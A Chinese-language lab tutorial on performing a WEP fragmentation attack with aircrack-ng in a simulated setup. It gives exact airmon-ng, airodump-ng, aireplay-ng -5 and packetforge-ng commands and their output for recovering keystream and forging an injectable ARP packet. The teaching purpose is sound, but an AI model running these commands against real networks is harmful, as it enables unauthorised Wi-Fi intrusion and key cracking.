对 WEP 网络执行碎片攻击

Beginner
立即练习

引言

在本实验中,你将学习如何对使用 WEP (Wired Equivalent Privacy) 加密的网络执行碎片攻击。碎片攻击是一种技术,允许攻击者在不知道 WEP 密钥本身的情况下,获取少量 WEP 密钥流(具体来说是伪随机生成算法或 PRGA)。

一旦获取到此密钥流,就可以用来创建新的、有效的加密数据包。然后,这些伪造的数据包可以被注入回网络以刺激流量,这是破解完整 WEP 密钥的关键步骤。

你将使用 aircrack-ng 工具集来完成此任务。该过程包括监控目标网络、发起碎片攻击以获取 PRGA XOR 文件,然后使用该文件伪造一个 ARP 数据包。

使用 airodump-ng 从目标 AP 获取数据包

在此步骤中,你将准备无线接口以进行监控,然后使用 airodump-ng 捕获目标接入点 (AP) 的流量。目标是捕获至少一个数据包,这是碎片攻击所必需的。

首先,你需要将无线接口置于监控模式。此模式允许网卡监听空气中的所有 Wi-Fi 流量,而不仅仅是发送给它的流量。我们将使用 wlan1 接口上的 airmon-ng 命令。

在你的终端中执行以下命令:

sudo airmon-ng start wlan1

此命令将创建一个新的监控模式接口,通常命名为 wlan1mon。输出将确认新的接口名称。

PHY     Interface       Driver          Chipset

phy1    wlan1           mac80211_hwsim  Software simulator
                (monitor mode enabled on wlan1mon)

现在,使用 airodump-ng 来查找我们的目标 AP,“TestWEP”,并将其流量捕获到文件中。我们将指定 BSSID (02:00:00:00:00:00)、信道 (1) 和输出文件的文件前缀 (capture)。

运行此命令。让它运行大约 30-60 秒,直到你看到 AP 的 #Data 计数增加,这表明数据包正在被捕获。

sudo airodump-ng --bssid 02:00:00:00:00:00 -c 1 -w capture wlan1mon

你将看到类似以下的输出。等待 #Data 列显示大于 0 的值。

 CH  1 ][ Elapsed: 30 s ][ 2023-10-27 10:00

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC   CIPHER AUTH ESSID

 02:00:00:00:00:00  -30       25        5    1   1  54   WEP   WEP         TestWEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

一旦你看到数据包已被捕获,请按 Ctrl+C 停止 airodump-ng。你可以使用 ls 命令查看生成的捕获文件,该文件将被命名为 capture-01.cap

使用 aireplay-ng -5 发起碎片攻击

在此步骤中,你将使用 aireplay-ng 发起碎片攻击。此攻击会监听来自目标 AP 的数据包,一旦捕获到数据包,它将使用该数据包尝试确定 PRGA 密钥流。

此攻击的命令是 aireplay-ng -5。你需要使用 -b 标志指定目标 AP 的 BSSID 和你的监控接口名称。

执行以下命令来启动攻击。

sudo aireplay-ng -5 -b 02:00:00:00:00:00 wlan1mon

运行命令后,aireplay-ng 将开始监听一个合适的数据包。终端将显示一条消息,表明它正在等待。

Waiting for a data packet...
Read 221 packets...

该工具将继续读取数据包,直到找到一个可用于攻击的数据包。在下一步中,一旦找到合适的数据包,你将与此过程进行交互。现在,只需让它运行即可。

等待 aircrack-ng 的“使用此数据包”消息

在此步骤中,你将继续使用 aireplay-ng 启动的进程。稍后,aireplay-ng 应该会捕获一个可用的数据包,并提示你进行确认。

该工具将显示数据包的详细信息并询问你是否要使用它。

Waiting for a data packet...
Read 280 packets...
A suitable packet found!
Size: 68
        1.  Use this packet? (y/n)

当你看到 Use this packet? (y/n) 提示时,输入 y 并按 Enter

y

确认后,aireplay-ng 将尝试从数据包中重建 PRGA。如果成功,它将在你的当前目录 (~/project) 中将密钥流保存到 .xor 文件。输出将类似于:

Saving chosen packet to replay_src-1027-100500.cap
Trying to get 68 bytes of keystream
Got keystream!!
Saved keystream in fragment-1027-100501.xor
Now you can build a packet with packetforge-ng

这证实了攻击成功,并且密钥流已保存。.xor 文件是伪造新数据包的关键。

从成功的攻击中生成 PRGA XOR 文件

在此步骤中,你将确认 PRGA 密钥流文件已通过碎片攻击成功创建。此文件具有 .xor 扩展名,其中包含我们恢复的密钥流片段。

正如你在上一步的输出中看到的,aireplay-ng 会自动保存文件。你可以使用 ls -l 命令列出当前目录中的文件来验证其是否存在。

ls -l

输出应显示多个文件,包括来自 airodump-ngcapture-01.cap 文件,以及最重要的,新的 .xor 文件。文件名将根据日期和时间而变化。

total 20
-rw-r--r-- 1 root root  119 Oct 27 10:02 capture-01.cap
-rw-r--r-- 1 root root   68 Oct 27 10:05 fragment-1027-100501.xor
-rw-r--r-- 1 root root   114 Oct 27 10:01 hostapd-wep.conf
-rw-r--r-- 1 root root   96 Oct 27 10:05 replay_src-1027-100500.cap

fragment-*.xor 文件的存在证实了你在下一步伪造新数据包所需的组件已具备。

使用 XOR 文件伪造 ARP 数据包进行注入

在此步骤中,你将使用恢复的 PRGA 密钥流来伪造一个新数据包。我们将使用 packetforge-ng 创建一个 ARP 请求数据包。这个伪造的数据包随后可以注入网络以产生更多流量,这对于破解 WEP 密钥等其他攻击非常有用。

首先,你需要知道你的攻击接口 (wlan1) 的 MAC 地址。你可以使用 ip addr 命令找到它。

ip addr show wlan1

输出将显示你的 MAC 地址。在此模拟环境中,它是 02:00:00:00:01:00

3: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff

现在,构建 packetforge-ng 命令。

  • -0: 指定一个 ARP 请求数据包。
  • -a: 目标 AP 的 BSSID (02:00:00:00:00:00)。
  • -h: 源 MAC 地址(你的 MAC,02:00:00:00:01:00)。
  • -k: 目标 IP 地址(我们将使用一个常见的广播 IP,192.168.1.255)。
  • -l: 源 IP 地址(我们将使用一个常见的源 IP,192.168.1.100)。
  • -y: .xor 文件的路径。我们可以使用 $(ls *.xor) 来自动使用该文件。
  • -w: 我们伪造数据包的输出文件名,例如 arp-packet.cap

运行命令:

packetforge-ng -0 -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 -k 192.168.1.255 -l 192.168.1.100 -y $(ls *.xor) -w arp-packet.cap

该工具将确认它已创建数据包。

Wrote packet to arp-packet.cap

你现在已经成功创建了一个有效的、加密的 ARP 数据包,而无需知道 WEP 密钥。你可以使用 ls 来验证它的创建。这个数据包现在已准备好注入网络。

总结

在此实验中,你成功执行了 WEP 碎片攻击。你学习了遗留 Wi-Fi 安全分析中的一项基本技术。

你首先使用 airmon-ng 设置了监听模式接口,并使用 airodump-ng 从目标 AP 捕获数据包。然后,你使用 aireplay-ng -5 发起了核心碎片攻击,这使你能够恢复一部分 WEP 密钥流。

最后,你使用恢复的密钥流和 packetforge-ng 从头开始创建了一个自定义的、加密的 ARP 请求数据包。这个伪造的数据包是更高级攻击的关键工具,例如 ARP 请求重放攻击,这种攻击可以快速生成破解 WEP 密钥所需的数千个数据包。